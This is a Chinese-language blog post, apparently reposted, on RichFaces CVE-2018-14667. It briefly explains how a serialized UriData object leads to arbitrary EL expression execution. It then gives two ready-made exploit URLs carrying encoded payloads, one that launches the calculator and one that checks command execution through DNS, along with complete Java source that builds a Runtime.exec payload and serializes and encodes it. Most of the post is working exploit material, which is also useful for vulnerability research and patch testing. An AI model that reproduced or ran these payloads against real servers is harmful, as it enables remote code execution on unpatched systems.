RichFaces CVE-2018-14667

RichFaces CVE-2018-14667

0x00 RichFaces 简述

RichFaces是一个基于LGPL协议开放源代码的JSF(JavaServer Faces)组件库,它能够使应用开发方便地集成AJAX。现在的RichFaces库是由Ajax4jsf和RichFaces两部分组成
0x01

0x01 漏洞成因

Java RichFaces框架中包含一个RCE漏洞,恶意***者构造包含org.ajax4jsf.resource.UserResource$UriData序列化对象的特定UserResource请求,RichFaces会先反序列化该UriData对象,然后使用EL表达式解析并获取resource的modified、expires等值导致了任意EL表达式执行,通过构造特殊的EL表达式可实现远程任意代码执行。
参考链接中有具体的分析

0x02 payload

弹出计算器(windows)

http://127.0.0.1:8080/richfaces-demo-3.3.0.GA-tomcat6/a4j/s/3_3_0.GAorg.ajax4jsf.resource.UserResource/n/s/-1487394660/DATA/eAHNlc9rE0EUx6fRan!4o9pirSLEVWwqMttKPdQaKFRRIbXQtFXbg0w2L8nE2R-dnU0Wa6U9ePEiWnrz5rU9eZcWEUHw4l-gBxERoQhexZnZNLFBPfQSc5rdfft9732-b19Wv6Fmn6OzLs9jUiThYNHPYQ6-G3AL8JQPfKJycXqK08tEEKR-nRe-xtDuFNpvcSACRl1HgCMEOpwqkhIxGXHy5nimCJYYTqG9EHpUas6hB6gphVpsN0tzFLKV6-YSYQHoi9CTtZxREiHOEQt8bLm25zpSG6eFTHTNZVngaVICfvvti-Tys3djMRRLoVaLEd-!QWzYXkNacOrkZQ1tvnwnqzUEOhJVSV0zDZwSRu-RDIPh0FPpe2VK7AeOLoCB8DEwPEnyYyAKbvZK6MlOfOo6mgNCTfsQCjnqiYqWofVxc6nu9pnHHzdjOq6zGldTev7wUfr7zPtLKkJVMKTM4NQqRAgCionnMWoRIdNGHOqT3OQyBDhOrCxdXJ34pJl0ZYgPkQm1XAId082HJjBzWoGvPZOY9niEayOP16Lqcw2HyqsWWWhcFVrMuL5mVKd23fbY0NpC261l0RsxOlrtvS603LY4-2H95xMFQGm3lldQeGqew1wAvsB5EKPK3kRf9ZhyiZwDeYPJQ!TQUOpYTR6eCBxBbTB0fFR-wpAqtfvUKbl3IeEEjPVhCMFKGBZhVtzoW!iHlZ4Xyq5Pbuu6no5qO7PZ!aN949CYaluzKt9vYD8o4KhzVvsZ4al8FGvvpz9!OTF!VY-dnOaYQF2aIXXxeCC8QMhAILZAHTW00TxJEOU36LVZHVLThiwl0VsmhERCAN8sepBP6zMOC8Jm8ZH-c!3xkYGB8wODSWPb6kg2ym4j1Htpl948f!n068b19y9f2duhFQ6Wn6LFRnURh2jFogPaqkBQhuWyBmXUK7SxM6MKcmXeyQVO0qio!wcmKd49Fd7LaKlhvLf-w!4EfB293BnwYuCLpLEl3UDaArUo8yfl9v0Fa!nW8w__.jsf

RichFaces CVE-2018-14667

通过dns解析判断 是否可以执行命令

http://127.0.0.1:8080/richfaces-demo-3.3.0.GA-tomcat6/a4j/s/3_3_0.GAorg.ajax4jsf.resource.UserResource/n/s/-1487394660/DATA/eAHNVb9rFEEUnpxG88Mf0QRjFGFdxVxEZhOJRYwHgSgqXAzkkqhJIXN77y5zzv7I7GxuNUS0sLERiYJFrGwTRfwHtBVsUoqiQUREBBFsxZnZS84capHqtprZffu9733fmzeL31B9wNFRjxcwKZKotxjkMYfAC7kNeCwAPlLeHB7j9DQRBKmn9cTXBNqcRtttDkTAoOcKcIVAu9NFMkMsRtyCNZwtgi3602grRD6VmNPoBqpLowbHy9E8hVx5Xz9DWAh6E!mSyxEFEeE8sSHAtuf4niuxcUbIROc8lgOeITPAL796nppfeD2UQIk0arQZCYILxIH1HDKCU7cgOTQF8p-cxhBoT8ySelYGOCWMXidZBv2Rr9J3ypQ4CF1NgIEIMDA8SgpDIKa83JnIl5UE1HO1DgjVbUMo4qgjJi1Dq-Om0-3NE3dXvid0XOtaXAXp8e07mR8Ty6dUhGLQp8zg1J6KJQgpJr7PqE2ETBvrUJ3kIpchwHHywa2TiyOftCZtWRJAbEIll0D7dPGRBcwaV8JXvkmZtviEayP3V6Kqc!VHyqsGSdRQRItZL9AaVaGdd3zWtzTXdGledMYa7V2rvSq01HRz8sOLX!eUAAq7sfQM3T80y2E6hEDgAohBZW-ya22Z9ojsA!mCyUX80VToWHUeHgldQR0wdXxMP2lKlMp76s54VyHphox1YYjATpqGLzvFMIyK8MzJF!tcbMM1wNQzzK65!9js-5FU5OA6RaqVU5Jkv7f!bH65a0hJonUsPazRWlHIUeuk7oNY1vJhWloe!!zlwOxZ3a7yFCQEatPaUw8Ph8IPhQwE4gjUUrEk7kMpUukjWrHWNLYcyFES!2VBRKRAEFhFHwoZvcbRlHCYMdB9rNsY6Ok53tObMteNnFQttokZ6Vm3SU-zf4yTqiPw5zRRbdGiEXaWnqCFWqzQgHikox3a4lBQhuXlAMrg9-jdxgyekiP6Sj50U2YZvcbNVT51lH16ih7VpE-rd-3fjHqL3mzMqGIYiJS5Cl2jLgnUoBpqVN4gvwHh3hvH.jsf

RichFaces CVE-2018-14667

0x03 payload

package richfaces1;
import com.sun.facelets.el.TagMethodExpression;
import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.Location;
import com.sun.facelets.tag.TagAttribute;
import org.ajax4jsf.resource.UserResource;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import org.jboss.el.ValueExpressionImpl;
import org.jboss.el.parser.*;
import org.jboss.seam.core.Expressions;
import org.richfaces.ui.application.StateMethodExpressionWrapper;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Date;
import java.util.zip.Deflater;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;

public class Main {

    public static void main(String[] args) throws Exception{

        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\" clac \")}";
        System.out.println(pocEL);
        // tomcat8.5.24 MethodExpression serialVersionUID
        Long MethodExpressionSerialVersionUID = 8163925562047324656L;
        Class clazz = Class.forName("javax.el.MethodExpression");
     //   Field field = clazz.getField("serialVersionUID");
       // field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        //modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        //field.setLong(null, MethodExpressionSerialVersionUID);

        // createContent
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);

        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);
        Object createContnet = ct.newInstance(null, tagMethodExpression);

        //value
        Object value = "haveTest";

        //modified
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        Object modified = ct.newInstance(null, tagValueExpression);

        //expires
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        Object expires = ct.newInstance(null, tagValueExpression2);

        //payload object
        UserResource.UriData uriData = new UserResource.UriData();
        //Constructor con = UserResource.class.getConstructor(new Class[]{});
        Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
        fieldCreateContent.setAccessible(true);
        fieldCreateContent.set(uriData, createContnet);
        Field fieldValue = uriData.getClass().getDeclaredField("value");
        fieldValue.setAccessible(true);
        fieldValue.set(uriData, value);
        Field fieldModefied = uriData.getClass().getDeclaredField("modified");
        fieldModefied.setAccessible(true);
        fieldModefied.set(uriData, modified);
        Field fieldExpires = uriData.getClass().getDeclaredField("expires");
        fieldExpires.setAccessible(true);
        fieldExpires.set(uriData, expires);

        //encrypt
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);

        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    }
}

参考链接
https://www.youtube.com/watch?v=HR7-nL5G91w
https://xz.aliyun.com/t/3264#toc-1

猜你喜欢

转载自blog.51cto.com/13770310/2320131